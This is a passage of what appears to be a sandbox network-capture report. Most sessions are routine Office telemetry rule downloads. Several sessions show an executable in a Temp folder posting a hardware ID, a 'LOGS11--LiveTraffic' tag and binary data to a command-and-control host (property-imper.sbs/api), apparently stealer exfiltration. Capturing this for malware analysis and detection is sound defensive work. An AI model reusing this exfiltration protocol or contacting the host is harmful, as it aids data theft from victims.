EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:39 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102240Z-178bfbc474bbcwv4hC1NYCypys000000045g000000007b3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:40 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102240Z-178bfbc474bbcwv4hC1NYCypys000000043g00000000bt08 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:40 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102240Z-174c587ffdfldtt2hC1TEBwv9c00000002gg00000000he5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49843	172.67.162.84	443	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:40 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WURRGZGP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20383 Host: property-imper.sbs
2024-11-23 10:22:40 UTC	15331	OUT	Data Raw: 2d 2d 57 55 52 52 47 5a 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 57 55 52 52 47 5a 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 55 52 52 47 5a 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 57 55 52 52 47 5a 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --WURRGZGPContent-Disposition: form-data; name="hwid"96343B797F59BCACD7CBBD6DF28D3732--WURRGZGPContent-Disposition: form-data; name="pid"3--WURRGZGPContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--WURRGZGPContent-Di
2024-11-23 10:22:40 UTC	5052	OUT	Data Raw: 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 Data Ascii: lrQMn 64F6(X&7~`aO@dR<x)
2024-11-23 10:22:41 UTC	1022	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=audpu75u38pdso8apl8boomojj; expires=Wed, 19-Mar-2025 04:09:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qU64NK0EwQ18K7Q4Mqy%2BCbdsp0N91KxY9JlP8B%2BN4c0vDNtKRWv0zDkDnrTNMbi%2FJFs8jMdDaShAwmxFyVJbiLVT4VTqWCGbAMauMGq%2BPIwuda2%2FxAuNSVJar9aeq06qO9OuU5Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7070801fbe32fc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1830&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21337&delivery_rate=1486761&cwnd=224&unsent_bytes=0&cid=21d91a217ba3dd8b&ts=1048&x=0"
2024-11-23 10:22:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 10:22:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:41 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102241Z-178bfbc474b7cbwqhC1NYC8z4n000000044g00000000ctq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:41 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 11574f01-801e-0067-6559-3cfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102242Z-174c587ffdfn4nhwhC1TEB2nbc00000002ug00000000czx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:41 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:42 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9064b291-801e-0048-1d16-3df3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102242Z-178bfbc474bfw4gbhC1NYCunf4000000046g00000000fq6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:42 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:42 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:42 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 9613c870-301e-0052-532e-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102242Z-178bfbc474bh5zbqhC1NYCkdug0000000480000000007g9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:42 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:42 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102242Z-178bfbc474btvfdfhC1NYCa2en00000004gg000000000a8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49849	172.67.162.84	443	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:43 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=93JLO4ADW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1244 Host: property-imper.sbs
2024-11-23 10:22:43 UTC	1244	OUT	Data Raw: 2d 2d 39 33 4a 4c 4f 34 41 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 39 33 4a 4c 4f 34 41 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 33 4a 4c 4f 34 41 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 33 4a 4c 4f 34 41 44 57 0d 0a 43 6f 6e 74 65 6e Data Ascii: --93JLO4ADWContent-Disposition: form-data; name="hwid"96343B797F59BCACD7CBBD6DF28D3732--93JLO4ADWContent-Disposition: form-data; name="pid"1--93JLO4ADWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--93JLO4ADWConten
2024-11-23 10:22:43 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tvddk47itq5v5u4o4ppft6bbhg; expires=Wed, 19-Mar-2025 04:09:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2T4uCstWUmDYpWVRlte%2FwovdWw5X90iZwvllP4teLAkhlW8Aaih6RrZ1nOv4DN93sB77emsGULbz4pEo%2Fg7hbIjyGjt24uSxv0TRVLlHjnGNs8lqaX898fCHZxU7MzsVaNLJGAM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7070910e6343d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1611&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2154&delivery_rate=1762220&cwnd=173&unsent_bytes=0&cid=707ba3bd9b43aa05&ts=701&x=0"
2024-11-23 10:22:43 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 10:22:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49850	172.67.162.84	443	5272	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:43 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 10:22:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
